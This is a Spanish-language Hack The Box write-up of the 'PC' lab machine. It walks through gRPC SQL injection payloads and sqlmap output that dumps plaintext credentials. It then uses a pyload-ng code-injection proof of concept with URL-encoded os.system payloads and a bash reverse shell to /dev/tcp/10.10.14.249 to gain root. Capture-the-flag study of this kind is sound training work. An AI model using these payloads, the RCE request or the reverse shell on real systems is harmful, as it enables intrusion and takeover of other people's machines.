This page looks best with JavaScript enabled

HackTheBox - PC

 •  ✍️ sckull

En PC identificamos una vulnerabilidad de SQLi en una aplicacion gRPC lo cual nos permitio obtener credenciales de acceso por SSH. Finalmente escalamos privilegios tras encontrar y explotar una vulnerabilidad en Pyload que permite la ejecucion de codigo python.

Nombre PC box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.11.214
Maker

sau123

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.3, 4.6, 4.7, 5.3, 5.4],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         {
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y 50051 (unknown).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# Nmap 7.93 scan initiated Mon May 22 18:15:25 2023 as: nmap -p22,50051 -Pn -sV -sC -oN nmap_scan 10.129.94.235
Nmap scan report for 10.129.94.235
Host is up (0.15s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 91bf44edea1e3224301f532cea71e5ef (RSA)
|   256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_  256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
50051/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port50051-TCP:V=7.93%I=7%D=5/22%Time=646BE984%P=x86_64-pc-linux-gnu%r(N
SF:ULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x0
SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(Generic
SF:Lines,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(GetRe
SF:quest,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(HTTPO
SF:ptions,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0
SF:\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RTSP
SF:Request,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\
SF:0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RPC
SF:Check,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(DNSVe
SF:rsionBindReqTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\
SF:xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0
SF:")%r(DNSStatusRequestTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0
SF:\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\
SF:0\0\?\0\0")%r(Help,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0
SF:\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\
SF:0\0")%r(SSLSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x0
SF:5\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0
SF:\?\0\0")%r(TerminalServerCookie,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xf
SF:f\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0
SF:\0\0\0\0\0\?\0\0")%r(TLSSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?
SF:\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x0
SF:8\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(SMBProgNeg,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(X11Probe,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff
SF:\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\
SF:0\0\0\0\0\?\0\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 22 18:15:46 2023 -- 1 IP address (1 host up) scanned in 20.94 seconds

gRPC

Del puerto 50051 no obtuvimos informacion por nmap, es por ello que intentamos realizar una conexion con netca y ver que informacion muestra.

1
2
3
4
5
 π ~/htb/pc ❯ nc 10.129.69.40 50051 -vvv
10.129.69.40: inverse host lookup failed: Unknown host
(UNKNOWN) [10.129.69.40] 50051 (?) open
???@Did not receive HTTP/2 settings before handshake timeout sent 0, rcvd 119
 π ~/htb/pc ❯

Al realizar una conexion el unico mensaje que nos muestra es de error, tras investigar, encontramos que se trata de gRPC y encontramos el mensaje en el repositorio de github.

Tools

Investigamos herramientas o comandos que nos permitan realizar una conexion por este ‘servicio’, y encontramos una lista de herramientas, cli y GUI.

gRPC GUI

Utilizamos grpcurl en este caso una version GUI. Simplemente ralizamos la conexion con el servidor en el puerto 50051, y este nos muestra una url de un sitio interactivo.

1
2
 π ~/htb/pc ❯ grpcui -plaintext 10.10.11.214:50051
gRPC Web UI available at http://127.0.0.1:44115/

Al inicio observamos dos opciones: servicio y sus metodos.

image

El sitio presenta cuatro pestañas:

  • Request From: es donde se define la solicitud.
  • Raw Request JSON: es similar a la anterior pero en formato JSON.
  • Response: en esta pestaña se muestra la respuesta de la solicitud realizada.
  • History: se muestran todas las solicitudes realizadas.

image

User Authentication

Creamos un usuario, marcando ambas casillas, usuario y contraseña.

image

La respuesta muestra que fue exitosa.

image

Intentamos ingresar con las credenciales, y vemos que en la respuesta se muestra un tokne JWT.

image

JWT.io muestra user_id en el payload.

image

getInfo

Si intentamos realizar una consulta sobre id en el metodo getInfo, espera por un token el cual ya nos fue proporcionado.

image

Agregamos el token en Metadata y realizamos la consulta a nuestro ID.

image

La respuesta unicamente muestra un mensaje.

1
2
3
{
    "message": "Will update soon."
}

image

El ID 1 nos muestra un mensaje diferente.

1
2
3
{
  "message": "The admin is working hard to fix the issues."
}

image

Si aumentamos el numero de ID unicamente obtenemos un error, lo que podria significar que no existen.

1
2
 Unknown (2)
Unexpected <class 'TypeError'>: 'NoneType' object is not subscriptable

SQLite Injection

El ID 13 no “existe” pero si pasamos un OR con un valor valido, nos retorna el mismo mensaje que el ID 1, al igual que con AND pero resultado contrario. Con ello posiblemente exista una vulnerabilidad de SQL Injection.

1
2
13 OR 1=1
1 AND 1=0

Intentamos con Union based injection, unicamente encontramos 1 columna.

1
2
3
4
5
6
7
8
9
# payload
{
    "id":"1 union select null--"
}

# response
{
    "message": "None"
}

Identificamos que la base de datos es SQLite.

1
2
3
4
5
6
7
8
9
# payload
{
    "id":"1 union select sqlite_version()--"
}

# response
{
    "message": "3.31.1"
}

image

SQLmap

Utilizamos sqlmap para realizar la inyeccion, guardando la solicitud y agregando un asterisco en donde queremos realizar la inyeccion, en este caso en el valor del ID. Es importante mencionar que la inyeccion la estamos realizando a traves de grpcui, por lo que este ultimo esta haciendo de “intermediario”.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
 π ~/htb/pc ❯ cat request.req
POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:43357
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-grpcui-csrf-token: 9yPdzPJsp1k-HytJ10F5XTbXfk52sOoNrl6m3lEgUik
X-Requested-With: XMLHttpRequest
Content-Length: 190
Origin: http://127.0.0.1:43357
Connection: close
Referer: http://127.0.0.1:43357/
Cookie: lang=en-US; gogs_awesome=john; gogs_incredible=117639059a7d66bd0433f890844ecfda006f9f9e8dcee0a0d6218541db7f761b; _csrf=9Q9qx08VO-SgwLpIaC7ZzoM29N46MTY4NjcwNjAxMDI5MzcwNzU3MA; _grpcui_csrf_token=9yPdzPJsp1k-HytJ10F5XTbXfk52sOoNrl6m3lEgUik
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidXNlciIsImV4cCI6MTY4Njc4MjMwMn0.cvIsCVFYqBeTrftPbk8zZDgWGYoiFBI140Coq4XUSGM"}],"data":[{"id":"*"}]}
 π ~/htb/pc ❯

Ejecutamos sqlmap sin especificar el tipo de inyeccion, al finalizar vemos que encontro tres tipos de inyeccion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
 π ~/htb/pc ❯ sqlmap -r request.req --batch --level 5 --risk 3 --dbs --dbms sqlite
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.7.2#stable}
|_ -| . [)]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:13:56 /2023-06-14/

[16:13:56] [INFO] parsing HTTP request from 'request.req'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
Cookie parameter '_csrf' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
Cookie parameter '_grpcui_csrf_token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
[16:13:57] [INFO] testing connection to the target URL
[16:13:57] [INFO] checking if the target is protected by some kind of WAF/IPS
[16:13:57] [INFO] testing if the target URL content is stable
[16:13:57] [INFO] target URL content is stable
[16:13:57] [INFO] testing if (custom) POST parameter 'JSON #1*' is dynamic
[16:13:57] [INFO] (custom) POST parameter 'JSON #1*' appears to be dynamic
[16:13:57] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON #1*' might not be injectable
[16:13:57] [INFO] testing for SQL injection on (custom) POST parameter 'JSON #1*'
[16:13:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:14:02] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[16:14:04] [INFO] (custom) POST parameter 'JSON #1*' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable
[16:14:04] [INFO] testing 'Generic inline queries'
[16:14:04] [INFO] testing 'SQLite inline queries'
[16:14:04] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
[16:14:04] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'
[16:14:04] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[16:14:05] [INFO] testing 'SQLite > 2.0 OR time-based blind (heavy query)'
[16:14:05] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query - comment)'
[16:14:05] [INFO] testing 'SQLite > 2.0 OR time-based blind (heavy query - comment)'
[16:14:05] [INFO] testing 'SQLite > 2.0 time-based blind - Parameter replace (heavy query)'
[16:14:11] [INFO] (custom) POST parameter 'JSON #1*' appears to be 'SQLite > 2.0 time-based blind - Parameter replace (heavy query)' injectable
[16:14:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:14:11] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[16:14:13] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[16:14:15] [INFO] target URL appears to be UNION injectable with 1 columns
[16:14:15] [INFO] (custom) POST parameter 'JSON #1*' is 'Generic UNION query (random number) - 1 to 20 columns' injectable
[16:14:15] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
(custom) POST parameter 'JSON #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 134 HTTP(s) requests:
---
Parameter: JSON #1* ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidXNlciIsImV4cCI6MTY4Njc4MjMwMn0.cvIsCVFYqBeTrftPbk8zZDgWGYoiFBI140Coq4XUSGM"}],"data":[{"id":"-7069 OR 8599=8599"}]}

    Type: time-based blind
    Title: SQLite > 2.0 time-based blind - Parameter replace (heavy query)
    Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidXNlciIsImV4cCI6MTY4Njc4MjMwMn0.cvIsCVFYqBeTrftPbk8zZDgWGYoiFBI140Coq4XUSGM"}],"data":[{"id":"(SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))"}]}

    Type: UNION query
    Title: Generic UNION query (random number) - 3 columns
    Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidXNlciIsImV4cCI6MTY4Njc4MjMwMn0.cvIsCVFYqBeTrftPbk8zZDgWGYoiFBI140Coq4XUSGM"}],"data":[{"id":"-8429 UNION ALL SELECT CHAR(113,113,122,107,113)||CHAR(83,107,102,65,119,90,79,80,66,74,65,81,89,109,87,82,89,70,113,107,111,65,65,117,67,88,117,109,110,102,87,85,66,76,105,116,103,118,72,76)||CHAR(113,106,118,122,113)-- Yfmi"}]}
---
[16:14:15] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[16:14:15] [WARNING] on SQLite it is not possible to enumerate databases (use only '--tables')
[16:14:15] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'

[*] ending @ 16:14:15 /2023-06-14/

 π ~/htb/pc ❯ 

Vemos que existen dos tablas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
---
[16:17:22] [INFO] testing SQLite
[16:17:22] [INFO] confirming SQLite
[16:17:22] [INFO] actively fingerprinting SQLite
[16:17:22] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[16:17:22] [INFO] fetching tables for database: 'SQLite_masterdb'
<current>
[2 tables]
+----------+
| accounts |
| messages |
+----------+

Realizamos un ‘dump’ en ambas tablas, vemos un unico mensaje en messages.

1
2
3
4
5
6
7
8
Database: <current>
Table: messages
[1 entry]
+----+----------------------------------------------+----------+
| id | message                                      | username |
+----+----------------------------------------------+----------+
| 1  | The admin is working hard to fix the issues. | admin    |
+----+----------------------------------------------+----------+

En accounts observamos credenciales.

1
2
3
4
5
6
7
8
9
Database: <current>
Table: accounts
[2 entries]
+------------------------+----------+
| password               | username |
+------------------------+----------+
| admin                  | admin    |
| HereIsYourPassWord1431 | sau      |
+------------------------+----------+

User - Sau

Las credenciales de saui son avalidas por SSH lo que nos permitio obtener nuestra flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 π ~/htb/pc ❯ ssh sau@10.129.94.107 # HereIsYourPassWord1431
sau@10.129.94.107's password:
Last login: Mon May 15 09:00:44 2023 from 10.10.14.19
sau@pc:~$ whoami;id;pwd
sau
uid=1001(sau) gid=1001(sau) groups=1001(sau)
/home/sau
sau@pc:~$ ls
user.txt
sau@pc:~$ cat user.txt
abd4e3d49e7f1ee3f5751e43ed4124a9
sau@pc:~$

Observamos la app siendo ejecutada por el usuario root tambien se muestra pyload.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
sau@pc:/dev/shm$ ps -ef  | grep root
root           1       0  0 May22 ?        00:00:01 /sbin/init

[.. snip ..]

root         846       1  0 May22 ?        00:00:00 /usr/sbin/ModemManager
root         953       1  0 May22 ?        00:00:01 /usr/bin/python3 /opt/app/app.py
root         957       1  0 May22 ?        00:00:05 /usr/bin/python3 /usr/local/bin/pyload
root         971       1  0 May22 ?        00:00:00 /usr/sbin/cron -f

[.. snip ..]

sau        22394    1814  0 01:59 pts/0    00:00:00 grep --color=auto root
sau@pc:/dev/shm$

Y el codigo fuente del servicio RPC, observamos que el valor user_id en el metodo getInfo no tiene ningun tipo de ‘filtro’ por lo que es vulnerable.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
[ ... ]

class Login(app_pb2_grpc.SimpleAppServicer):

[ ... ]

    async def getInfo(self, request, context):
            headers = dict(context.invocation_metadata())
            token = headers.get('token')
            user_id = middle.authorization(token)
            if user_id is True:
                try:
                    result = cur.execute(f'SELECT message from messages where id = {request.id}').fetchone()[0]
                    return app_pb2.getInfoResponse(message=f"{result}")
                except sqlite3.Error as er:
                    return app_pb2.getInfoResponse(message=er)
            return app_pb2.getInfoResponse(message="Authorization Error.Missing 'token' header")

[ ... ]
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python
import asyncio
import logging
import random
import grpc
from grpc_reflection.v1alpha import reflection
import app_pb2
import app_pb2_grpc
import sqlite3
import middle

con = sqlite3.connect("/opt/app/sqlite.db")
cur = con.cursor()


class Login(app_pb2_grpc.SimpleAppServicer):
    async def RegisterUser(self, request, context):
        username = request.username
        password = request.password
        if len(username) < 4 or len(password) < 4:
            return app_pb2.RegisterUserResponse(message="username or password must be greater than 4")
        result = cur.execute('SELECT EXISTS(SELECT 1 FROM accounts WHERE username = ?)', (username, )).fetchone()[0]

        if result == 0:
            cur.execute('INSERT INTO accounts values(?, ?)', (username, password))
            con.commit()
            return app_pb2.RegisterUserResponse(message=f'Account created for user {username}!')
        else:
            return app_pb2.RegisterUserResponse(message='User Already Exists!!')

    async def LoginUser(self, request, context):
        username = request.username
        password = request.password
        result = cur.execute('SELECT EXISTS(SELECT 1 FROM accounts WHERE username = ? and password = ? )', (username, password)).fetchone()[0]
        if result == 1:
            # setting response header
            context.set_trailing_metadata((
                ('token', f'{middle.token(username)}'),
            ))
            rand_number = random.randint(1,900)
            #should match any primary or unique constraint
            cur.execute(f'''INSERT INTO messages VALUES({rand_number}, ? , "Will update soon.") ON CONFLICT (username)
                        DO  UPDATE SET id = "{rand_number}", username = ?, message = "Will update soon."
                        ''', (username, username))
            con.commit()
            return app_pb2.LoginUserResponse(message=f'Your id is {rand_number}.')
        else:
            return app_pb2.LoginUserResponse(message="Login unsuccessful")

    async def getInfo(self, request, context):
        headers = dict(context.invocation_metadata())
        token = headers.get('token')
        user_id = middle.authorization(token)
        if user_id is True:
            try:
                result = cur.execute(f'SELECT message from messages where id = {request.id}').fetchone()[0]
                return app_pb2.getInfoResponse(message=f"{result}")
            except sqlite3.Error as er:
                return app_pb2.getInfoResponse(message=er)
        return app_pb2.getInfoResponse(message="Authorization Error.Missing 'token' header")

async def serve() -> None:
    server = grpc.aio.server()
    app_pb2_grpc.add_SimpleAppServicer_to_server(Login(), server)
    SERVICE_NAMES = (
        app_pb2.DESCRIPTOR.services_by_name['SimpleApp'].full_name,
        reflection.SERVICE_NAME,
    )
    reflection.enable_server_reflection(SERVICE_NAMES, server)
    server.add_insecure_port('0.0.0.0:50051')
    await server.start()
    await server.wait_for_termination()


if __name__ == '__main__':
    logging.basicConfig()
    asyncio.run(serve())

Privesc

Pyload esta siendo ejecutado por root y al investigar este comando encontramos que existe una vulnerabilidad Code Injection in pyload-ng tambien nos presenta el PoC.

1
2
3
4
curl -i -s -k -X $'POST' \
    -H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
    --data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%70%77%6e%64%22%29;f=function%20f2(){};&passwords=aaaa' \
    $'http://127.0.0.1:8000/flash/addcrypted2'

Para ejecutar comandos propios unicamente codificamos en URL lo siguiente.

1
2
3
4
5
# code
pyimport os;os.system("touch /tmp/sckull")

# code encoded
%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%73%63%6b%75%6c%6c%22%29

Modificamos el PoC y ejecutamos, vemos que nuestro comando se ejecuta.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
-bash-5.0$ curl -i -s -k -X $'POST' \
>     -H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
>     --data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%73%63%6b%75%6c%6c%22%29;f=function%20f2(){};&passwords=aaaa' \
>     $'http://127.0.0.1:8000/flash/addcrypted2'
HTTP/1.1 500 INTERNAL SERVER ERROR
Content-Type: text/html; charset=utf-8
Content-Length: 21
Access-Control-Max-Age: 1800
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: OPTIONS, GET, POST
Vary: Accept-Encoding
Date: Wed, 14 Jun 2023 20:36:35 GMT
Server: Cheroot/8.6.0

Could not decrypt key-bash-5.0$ ls /tmp
pyLoad
sckull
snap-private-tmp
systemd-private-179f24f4d94d4b7d90e1bac3bf43cd38-ModemManager.service-dyVDfg
systemd-private-179f24f4d94d4b7d90e1bac3bf43cd38-fwupd.service-IUQBtj
systemd-private-179f24f4d94d4b7d90e1bac3bf43cd38-systemd-logind.service-oVgrzg
systemd-private-179f24f4d94d4b7d90e1bac3bf43cd38-systemd-resolved.service-pMnaXi
tmpbu8b2oxl
tmux-1001
vmware-root_730-2999460803
-bash-5.0$

Shell

Creamos un archivo para ejecutar una shell inversa.

1
2
3
4
sau@pc:/dev/shm$ echo "bash -i >& /dev/tcp/10.10.14.249/1335 0>&1" > /tmp/shell
sau@pc:/dev/shm$ cat /tmp/shell
bash -i >& /dev/tcp/10.10.14.249/1335 0>&1
sau@pc:/dev/shm$

Modificamos el PoC y ejecutamos.

1
2
3
4
5
6
7
8
# pyimport os;os.system("bash /tmp/shell")

# %70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%62%61%73%68%20%2f%74%6d%70%2f%73%68%65%6c%6c%22%29

curl -i -s -k -X $'POST' \
    -H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
    --data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%62%61%73%68%20%2f%74%6d%70%2f%73%68%65%6c%6c%22%29;f=function%20f2(){};&passwords=aaaa' \
    $'http://127.0.0.1:8000/flash/addcrypted2'

Con ello obtuvimos acceso como root y logramos la lectura de la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
 π ~/htb/pc ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
10.129.94.107: inverse host lookup failed: Unknown host
connect to [10.10.14.249] from (UNKNOWN) [10.129.94.107] 53712
bash: cannot set terminal process group (957): Inappropriate ioctl for device
bash: no job control in this shell
root@pc:~/.pyload/data# whoami;id;pwd
whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/root/.pyload/data
root@pc:~/.pyload/data# cd /root
cd /root
root@pc:~# cat root.txt
cat root.txt
0b4faf0d6f3e6a7cf34a62222940ced7
root@pc:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe